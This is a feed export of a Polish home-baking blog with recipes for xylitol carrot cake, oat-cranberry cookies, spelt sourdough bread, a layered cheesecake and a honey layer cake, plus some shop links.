tag:blogger.com,1999:blog-66187868500568834922024-03-16T02:10:06.740+01:00 Domowa Cukierenka Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.comBlogger1472125tag:blogger.com,1999:blog-6618786850056883492.post-31751896022187139852020-03-19T19:53:00.002+01:002020-03-19T19:53:58.484+01:00Ciasto marchewkowe z ksylitolem<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-LKI1LdUh8QI/XnO_Vvji6DI/AAAAAAAAOHo/2-si650h7K08t92ZyahJxABwW8jFKItBwCLcBGAsYHQ/s1600/marchwekowyzksylitolem.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="400" data-original-width="440" height="580" src="https://1.bp.blogspot.com/-LKI1LdUh8QI/XnO_Vvji6DI/AAAAAAAAOHo/2-si650h7K08t92ZyahJxABwW8jFKItBwCLcBGAsYHQ/s640/marchwekowyzksylitolem.jpg" width="640" /></a></div>
<span style="background-color: white; color: #2b2c32; font-family: "Open Sans"; font-size: 18.2px; letter-spacing: -0.14px;"><br /></span>
<span style="background-color: white; color: #2b2c32; font-family: "Open Sans"; font-size: 18.2px; letter-spacing: -0.14px;"><br /></span>
<span style="background-color: white; color: #2b2c32; font-size: 18.2px; letter-spacing: -0.14px;"><span style="font-family: Arial, Helvetica, sans-serif;">Ksylitol, oryginalnie produkowany z kory brzozy i dlatego często nazywany cukrem brzozowym, teraz coraz częściej jest pozyskiwany z kukurydzy. Naturalnie występuje także w niektórych owocach i grzybach. Tak naprawdę nie jest cukrem, mimo że jest nim tak powszechnie nazywany, ale jak wiele słodzików jest alkoholem cukrowym. Ma bardzo niski indeks glikemiczny i jest mniej kaloryczny od tradycyjnego cukru.</span></span><br />
<span style="background-color: white; color: #2b2c32; font-size: 18.2px; letter-spacing: -0.14px;"><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></span>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Dlaczego ksylitol zamiast białego cukru? Z kilku powodów. Jest zdecydowanie mniej kaloryczny, z niższym indeksem glikemicznym niż tradycyjny cukier. Ksylitol w 1g dostarcza nam 2,4 kcal, dla porównania - 1g cukru ma 4 kcal. Indeks glikemiczny ksylitolu to zaledwie 8, kiedy cukier ma go aż 70. Jest polecany cukrzykom i osobom na niskokalorycznej diecie. Nie tylko pomaga obniżyć kalorie w diecie ale również dobrze wpływa na zęby - hamuje działanie bakterii próchnicotwórczych i wzmacnia szkliwo. Świetnie nadaje się do słodzenia napojów, przetworów oraz wypieków.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Często dodawany jest do gum do żucia, niskokalorycznych słodyczy, past do zębów i innych produktów do higieny jamy ustnej oraz do żywności przyjaznej cukrzykom.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Wielką zaletą ksylitolu jest to, że bardzo wolno podnosi glukozę we krwi. Jego metabolizm odbywa się niemal bez udziału insuliny. Spowodowane jest to brakiem fruktozy w jego składzie. Kaloryczność ksylitolu ocenia się na dużo mniejszą niż zwykłego cukru - około 40% mniej. Ten zdrowszy zamiennik cukru sprawia, że szkodliwe bakterie w jamie ustnej nie mają pożywki, ksylolit nie podlega procesowi fermentacji, dzięki czemu pozytywnie wpływa na zdrowie zębów.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="box-sizing: border-box; font-weight: 600;"><span style="font-family: Arial, Helvetica, sans-serif;">Przepis na niskokaloryczne ciasto marchewkowe</span></span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">100 g orzechów pekan (mogą być włoskie)</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">140g mąki</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">2 łyżeczki mielonego cynamonu</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">1 łyżeczka sody</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">1 łyżeczka proszku do pieczenia</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">140 g <a href="https://www.cosdlazdrowia.pl/cukier-slodziki/cukier-brzozowy-cena-sklep/produkt-344" style="background-color: transparent; box-sizing: border-box; color: #bf103c; outline: 0px !important; text-decoration-line: none;">ksylitolu</a></span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">2 duże jajka</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">140 ml oleju rzepakowego</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">175g startej marchwi</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">100 g rodzynek</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Przygotowanie:</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Rozgrzej piekarnik do temperatury 180°C. Posmaruj 18 cm, okrągłą foremkę do ciasta i wyłóż pergaminem do pieczenia. Odłóż 12 orzechów, resztę posiekaj drobno.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">W dużej misce wymieszaj mąkę, cynamon, sodę, proszek do pieczenia, ksylitol i posiekane orzechy.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">W osobnej misce ubij razem jajka i olej rzepakowy. Wlej do mąki i mieszaj, aż się połączy. Dodaj marchewkę i sułtanki, wymieszaj. Wygładź powierzchnię łyżką i ułóż na wierzchu pozostałe orzechy.</span></div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-size: 16.1px; letter-spacing: -0.14px; margin-bottom: 2rem;">
<span style="font-family: Arial, Helvetica, sans-serif;">Piec przez około godzinę. Góra cista powinna być sprężysta w dotyku, a drewniany patyczek włożony do ciasta po wyciągnięciu czysty. Ciasto połoz na kratce do ostygnięcia. Można podawać polne syropem z agawy. </span></div>
<span style="background-color: white; color: #2b2c32; font-family: "Open Sans"; font-size: 18.2px; letter-spacing: -0.14px;"><br /></span>Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-25539701472293602712020-01-21T16:00:00.000+01:002020-01-21T16:00:03.886+01:00ciasteczka owsiane z żurawiną i słonecznikiem<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-WyprjUFVwRU/XiYGvihN6aI/AAAAAAAAOGs/1KzLoNzatXgpmSmbfcr2JoxasIO60YAigCLcBGAsYHQ/s1600/IMG_20200120_193349.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1600" data-original-width="1200" height="640" src="https://1.bp.blogspot.com/-WyprjUFVwRU/XiYGvihN6aI/AAAAAAAAOGs/1KzLoNzatXgpmSmbfcr2JoxasIO60YAigCLcBGAsYHQ/s640/IMG_20200120_193349.jpg" width="480" /></a></div>
<br />
<br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Jak zapewne zauważyliście ostatnio jest tu mniej słodkich wpisów. Złożyło się na to kilka spraw, a dodatkowo przeszliśmy ostatnio na trochę zdrowsze jedzenie, staram się kupować nieprzetworzoną <a href="http://bee.pl/" target="_blank">zdrową żywność</a> więc codzienne ciacho do kawy już odpada.</i></span><br />
<span style="color: #666666; font-family: "arial" , "helvetica" , sans-serif;"><i>Raz na jakiś czas jednak pozwalamy sobie na coś słodkiego a naszym hitem są ciasteczka owsiane z naszą ulubioną żurawiną (którą tanio kupuję w<a href="http://bee.pl/" target="_blank"> bee.pl)</a> i słonecznikiem. Zabieramy je do pracy, dzieci do szkoły i obowiązkowo na wycieczki w góry. Są zdrowe, pożywne i zaspokajają bez wyrzutów sumienia ochotę na coś słodkiego. A w dodatku robi sie je w pięć minut i nie trzeba do tego ŻADNYCH umiejętności kulinarnych! Zresztą zobaczcie sami, oto banalnie prosty przepis na pyszne ciastka:</i></span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Składniki:</span><br />
<span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span>
<br />
<ul>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">200 g płatków owsianych</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 jajka</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">2 łyżki mąki</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">3 łyżki cukru</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">100 g masła</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">1 łyżeczka proszku do pieczenia</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">garść żurawiny suszonej</span></li>
<li><span style="font-family: "arial" , "helvetica" , sans-serif;">garść słonecznika</span></li>
</ul>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Masło rozpuścić i wystudzić. Wszystkie pozostałe składniki przełożyć do miski, wlać masło i wymieszać. Blachę do pieczenia wyścielić papierem. Nakładać ciasto łyżką i delikatnie spłaszczać. </span></div>
<div>
<span style="font-family: "arial" , "helvetica" , sans-serif;">Wstawić do piekarnika nagrzanego do 180*C i piec około 10 minut aż się zarumienią. </span></div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-48396973178239575632020-01-20T20:42:00.000+01:002020-01-20T20:42:07.221+01:00przepis na domowy chleb orkiszowy na zakwasie <div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-yV60G2JWrDo/XiYB-FuacFI/AAAAAAAAOGY/KDVUou4r0D06aO8igcMRP8H1j6yBsXq0gCLcBGAsYHQ/s1600/40.jpg.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="628" data-original-width="1200" height="334" src="https://1.bp.blogspot.com/-yV60G2JWrDo/XiYB-FuacFI/AAAAAAAAOGY/KDVUou4r0D06aO8igcMRP8H1j6yBsXq0gCLcBGAsYHQ/s640/40.jpg.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<span style="background-color: white; color: #2b2c32; font-family: "Open Sans"; font-size: 16.9px; letter-spacing: -0.13px;">W ostatnich latach nastała moda na odchodzenie od klasycznych wyrobów pszenicy i zastępowanie jej innymi zbożami. Chleb orkiszowy na zakwasie jest jedną z ciekawszych alternatyw dla tradycyjnego białego chleba.</span><br />
<span style="background-color: white; color: #2b2c32; font-family: "Open Sans"; font-size: 16.9px; letter-spacing: -0.13px;"><br /></span>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-family: "Open Sans"; font-size: 13px; letter-spacing: -0.13px; margin-bottom: 1rem;">
W ostatnich latach nastała moda na odchodzenie od klasycznych wyrobów pszenicy i zastępowanie jej innymi zbożami. <span style="box-sizing: border-box; font-weight: 600;">Chleb orkiszowy na zakwasie</span> jest jedną z ciekawszych alternatyw dla tradycyjnego białego chleba. Jest jednocześnie alternatywą o wiele zdrowszą, a także bardzo smaczną. Ze względu na łagodny smak przypada on do gustu większości ludzi, nawet tym, którzy na co dzień preferują raczej tradycyjne wypieki. Do wypieku chleba orkiszowego nie potrzeba wielu składników. Są to woda, sól, zakwas orkiszowy (opcjonalnie żytni) i <a href="https://sklep.biobabalscy.pl/pl/p/Maka-orkiszowa-biala-typ-630-1-kg-BIO/154" style="background-color: transparent; box-sizing: border-box; color: #2b2c32; outline: 0px !important; text-decoration-line: none;" title="mąka orkiszowa">mąka orkiszowa</a> (pełnoziarnista typu 500). Wypiek tego rodzaju chleba nie powinien sprawić większych problemów, gdyż nie różni on się zanadto od realizacji tradycyjnych wypieków. Trzeba jednak pamiętać, aby odpowiednio wcześniej przygotować zakwas. <span style="box-sizing: border-box; font-weight: 600;">Chleb orkiszowy na zakwasie</span> posiada swoje właściwości smakowe i zdrowotne właśnie dzięki odpowiednio dobranym składnikom, więc nie należy bagatelizować żadnych szczegółów przepisu.</div>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-family: "Open Sans"; font-size: 13px; letter-spacing: -0.13px; margin-bottom: 1rem;">
W pierwszej kolejności należy przygotować zakwas, co trzeba zrobić kilkanaście godzin wcześniej przed rozpoczęciem docelowego wyrabiania ciasta. Odpowiednio wczesne nastawienie zakwasu jest niezwykle istotne dla ostatecznego rezultatu. Następnie przechodzi się do nastawienia ciasta na chleb. Do wyrośniętego zaczynu dodaje się mąkę orkiszową, opcjonalnie mąkę żytnią w mniejszej ilości, sól, wodę, a także ziarno orkiszu. Takie ciasto można wyrabiać ręcznie lub przy pomocy miksera. Zalecane jest jednak wyrabianie ręcznie. Jeśli przed dodaniem ciasta do zaczynu okaże się, że zaczyn zakwasu nie wyrósł odpowiednio, można dodać do niego odrobinę drożdży piekarskich. Przy dobraniu odpowiednich proporcji, ciasto powinno wyrabiać się dość łatwo. Następnie wyrobione ciasto formuje się i przekłada do ówcześnie przygotowanej formy. Tak pozostawiony <span style="box-sizing: border-box; font-weight: 600;">chleb orkiszowy na zakwasie</span> wstawia się do wyrastania. Najlepiej zrobić to w temperaturze około 30 stopni. Czekać należy do momentu, gdy chleb podwoi swoją objętość. Chleb piecze się od 2 do 4 godzin. Upieczony chleb można przechowywać w suchym miejscu nawet do tygodnia, a nawet po takim czasie nie powinien on stracić na jakości. Smak w tym czasie może się nieco zmieniać, ale nadal będzie przydatny do spożycia i bardzo smaczny.</div>
<h2 style="background-color: white; box-sizing: border-box; color: #2b2c32; font-family: "Open Sans"; font-size: 2rem; letter-spacing: -0.13px; line-height: 1.2; margin-bottom: 0.5rem; margin-top: 0px;">
<span style="box-sizing: border-box;">Ziarno orkiszu</span> – właściwości</h2>
<div style="background-color: white; box-sizing: border-box; color: #2b2c32; font-family: "Open Sans"; font-size: 13px; letter-spacing: -0.13px;">
Wyroby z orkiszu, takie jak <span style="box-sizing: border-box; font-weight: 600;">mąka orkiszowa</span> mają szereg pozytywny właściwości zdrowotnych. Zawierają między innymi dużą ilość witamin z grupy B, które pozytywnie wpływają na skórę i paznokcie. Ponadto <span style="box-sizing: border-box; font-weight: 600;">ziarno orkiszu</span> zawiera duże ilości żelaza, manganu i miedzi, które są bardzo istotne dla prawidłowej regeneracji organizmu. <span style="box-sizing: border-box; font-weight: 600;">Mąka orkiszowa</span> jest chętnie wykorzystywana przez sportowców, a to przez to, że posiada relatywnie wysoką ilość białka. Jest ono niezbędne do szybkiej regeneracji organizmu, a także może być wykorzystywana jako zamiennik zwykłej mąki, ze względu na niższą zawartość węglowodanów. Jednocześnie należy pamiętać, że <span style="box-sizing: border-box; font-weight: 600;">ziarno orkiszu</span> jest odmianą pszenicy, na co muszą zwrócić osoby szukające alternatywy ze względu na uczulenie na gluten.</div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-37324537782631716502019-11-19T21:43:00.001+01:002019-11-19T21:43:16.548+01:00sernik z buźką<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-Ls_Z5ctqyaU/XdRSD5zOdDI/AAAAAAAAOFQ/hq6GbUfHKug5NmF_70dztRhVOAHAJDlagCLcBGAsYHQ/s1600/sernik.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="240" data-original-width="320" height="480" src="https://1.bp.blogspot.com/-Ls_Z5ctqyaU/XdRSD5zOdDI/AAAAAAAAOFQ/hq6GbUfHKug5NmF_70dztRhVOAHAJDlagCLcBGAsYHQ/s640/sernik.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><i>Tego sernika specjalnie zachwalać nie trzeba ale gdyby kogoś nie zachęcił wygląd to lekkość i aksamitność już musi. Zamiast spodu użyłam biszkoptów przełożonych powidłami, które dały efekt przez moje dzieciaki nazwany "sernikiem z buźką". Mimo, że masa serowa była klasycznie pieczona a górna warstwa była na zimno to całość była bardzo lekka, konsystencją przypominała ptasie mleczko. </i></span><br />
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span>
<span style="font-family: Arial, Helvetica, sans-serif;">*foremka 25*34 cm</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">Składniki:</span><br />
<span style="font-family: Arial, Helvetica, sans-serif;">na masę serową:</span><br />
<br />
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 kg sera na sernik z wiaderka</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">5 jajek</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">2 opakowania budyniu waniliowego</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 szklanka cukru</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1/2 szklanki oleju</span></li>
</ul>
<span style="font-family: Arial, Helvetica, sans-serif;">na piankę:</span><div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">200 ml mleka zagęszczonego nie słodzonego (z kartonika, takie do kawki)</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">1 opakowanie galaretki rubinowej</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">dodatkowo:</span></div>
</div>
<div>
<ul>
<li><span style="font-family: Arial, Helvetica, sans-serif;">paczka okrągłych biszkoptów</span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">4 łyżki powideł </span></li>
<li><span style="font-family: Arial, Helvetica, sans-serif;">galaretka rubinowa</span></li>
</ul>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Biszkopty smarować powidłami i sklejać po dwa. Układać w blaszce wyłożonej papierem do pieczenia. </span></div>
</div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Białka oddzielić od żółtek. Żółtka utrzeć z cukrem, dodać ser, budynie i olej. Zmiksować. Biała ubić i delikatnie wmieszać do masy serowej. Wylać na biszkopty i piec w 170*C przez około 50 minut. Wystudzić. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Galaretki rozpuścić: jedną w 400 ml wrzątku, drugą w 125 ml wrzątku. Wystudzić. </span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;"><br /></span></div>
<div>
<span style="font-family: Arial, Helvetica, sans-serif;">Zimne mleczko ubić na pianę. Wlać 125 ml galaretki i zmiksować. Wylać na sernik. Kiedy zastygnie na wierzch wylać drugą galaretkę. Wstawić do lodówki. </span></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-ggLeTUFzqPM/XdRSD9s4_II/AAAAAAAAOFU/YK2xV8X_oyoZVV-2nOMh-MsoBZMJMFKOQCLcBGAsYHQ/s1600/sernik%2Bwes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="240" data-original-width="320" height="300" src="https://1.bp.blogspot.com/-ggLeTUFzqPM/XdRSD9s4_II/AAAAAAAAOFU/YK2xV8X_oyoZVV-2nOMh-MsoBZMJMFKOQCLcBGAsYHQ/s400/sernik%2Bwes.jpg" width="400" /></a></div>
<br />Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-54477030653958474812019-10-06T19:51:00.002+02:002019-10-06T19:51:34.429+02:00ciasto "Bogacz"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-nf7UKn9YnFc/XZonU3XADoI/AAAAAAAAODs/v8H4zPUKT5AUGrF9TUzU_mkpzFWc4BzXQCLcBGAsYHQ/s1600/IMG_20191006_131838.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-nf7UKn9YnFc/XZonU3XADoI/AAAAAAAAODs/v8H4zPUKT5AUGrF9TUzU_mkpzFWc4BzXQCLcBGAsYHQ/s640/IMG_20191006_131838.jpg" width="640" /></a></div>
<br />
<i><span style="color: #666666; font-family: Arial, Helvetica, sans-serif;">Ciasto bazujące na spodach do popularnego Królewicza to wypiek, do którego mam szczególną słabość. Tym razem zwykły budyń zastąpiłam malinowym a jedną warstwę wzbogaciłam o kakaową masę kajmakową. Lubię to ciasto nie tylko za smak, ale też za to, że można je długo przechowywać a im starsze, tym lepsze. </span></i><br />
<i><span style="color: #666666; font-family: Arial, Helvetica, sans-serif;"><br /></span></i>
<span style="background-color: white; font-family: arial, helvetica, sans-serif; font-size: 15.84px; font-style: italic;">*foremka 25*34 cm</span><br style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic;" /><span style="background-color: white; font-family: arial, helvetica, sans-serif; font-size: 15.84px; font-style: italic;">Składniki:</span><br style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic;" /><span style="background-color: white; font-family: arial, helvetica, sans-serif; font-size: 15.84px; font-style: italic;">na ciasto miodowe:</span><br style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic;" /><span style="background-color: white; font-family: arial, helvetica, sans-serif; font-size: 15.84px; font-style: italic;"><br /></span><span style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic;"></span><br />
<ul style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">300 g mąki</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">1 jajko</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3/4 szklanki cukru</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">150 g masła</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3 łyżki miodu</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">1 łyżeczka sody oczyszczonej</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">2 łyżki ciepłego mleka</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">łyżeczka kakao</span></li>
</ul>
<div style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic;">
<span style="font-family: arial, helvetica, sans-serif;">na biszkopt:</span></div>
<div style="background-color: white; font-family: "Coming Soon"; font-size: 15.84px; font-style: italic;">
<ul style="line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3 jajka</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3/4 szklanki mąki</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3/4 szklanki cukru</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3/4 łyżeczki proszku do pieczenia</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3 łyżki oleju</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">3 łyżki zimnej wody</span></li>
</ul>
<div>
<span style="font-family: arial, helvetica, sans-serif;">na krem budyniowy:</span></div>
</div>
<div style="background-color: white;">
<ul style="font-family: "Coming Soon"; font-size: 15.84px; font-style: italic; line-height: 1.4; list-style-image: initial; list-style-position: initial; margin: 0.5em 0px; padding: 0px 2.5em;">
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">1 litr mleka</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">4 łyżki cukru</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">1 opakowanie budyniu malinowego</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">40 g mąki ziemniaczanej</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">30 g mąki pszennej</span></li>
<li style="border: none; margin: 0px 0px 0.25em; padding: 0px;"><span style="font-family: arial, helvetica, sans-serif;">100 g masła</span></li>
</ul>
<div style="font-size: 15.84px; font-style: italic;">
<span style="font-family: arial, helvetica, sans-serif;">dodatkowo:</span></div>
<div>
<ul style="font-size: 15.84px; font-style: italic;">
<li><span style="font-family: arial, helvetica, sans-serif;">puszka kakaowego kajmaku</span></li>
<li><span style="font-family: arial, helvetica, sans-serif;">cukier puder do posypania</span></li>
</ul>
<div>
<span style="font-family: arial, helvetica, sans-serif;"><span style="font-size: 15.84px;"><i><div>
Ciasto miodowe: wszystkie składniki zagnieść a ciasto podzielić na połowę. Każdą część rozwałkować na papierze do pieczenia i piec w 180*C około 15 minut. Wystudzić. </div>
<div>
<br /></div>
<div>
Biszkopt: białka ubić na sztywno, nadal ubijając dosypywać cukier a następnie dodawać po żółtku. Mąkę wymieszać z proszkiem i przesiać do masy jajecznej. Delikatnie wymieszać i przełożyć do foremki. Piec w 175*C około 30 minut. Wystudzić. </div>
<div>
<br /></div>
<div>
Foremkę, w której piekły się blaty ciasta wyłożyć wysoko papierem do pieczenia. Na dni położyć jeden blat miodowy. Mąki wymieszać z cukrem, budyniem i połową mleka. Resztę mleka zagotować i wlać na nie rozrobione mąki. Ugotować budyń, zmniejszyć płomień i dodać masło. Mieszać energicznie (lub miksować) aż budyń i masło dokładnie się połączą. Gorącą masę wyłożyć na ciasto miodowe, przykryć biszkoptem, wyłożyć kajmak i ostatni blat ciasta. </div>
<div>
<br /></div>
<div>
Kiedy budyń wystygnie zamknąć ciasto w pojemniku i odstawić na dobę, żeby zmiękło. Przed podaniem posypać cukrem pudrem. </div>
</i></span></span></div>
</div>
</div>
Magdalena Imielińskahttp://www.blogger.com/profile/05434212803628380079noreply@blogger.com0tag:blogger.com,1999:blog-6618786850056883492.post-55979271280805640702019-08-29T15:58:00.002+02:002019-08-29T15:58:49.240+02:0010 powodów, dla których warto mieć stolnicę drewnianą<div class="separator" style="clear: both; text-align: center;">
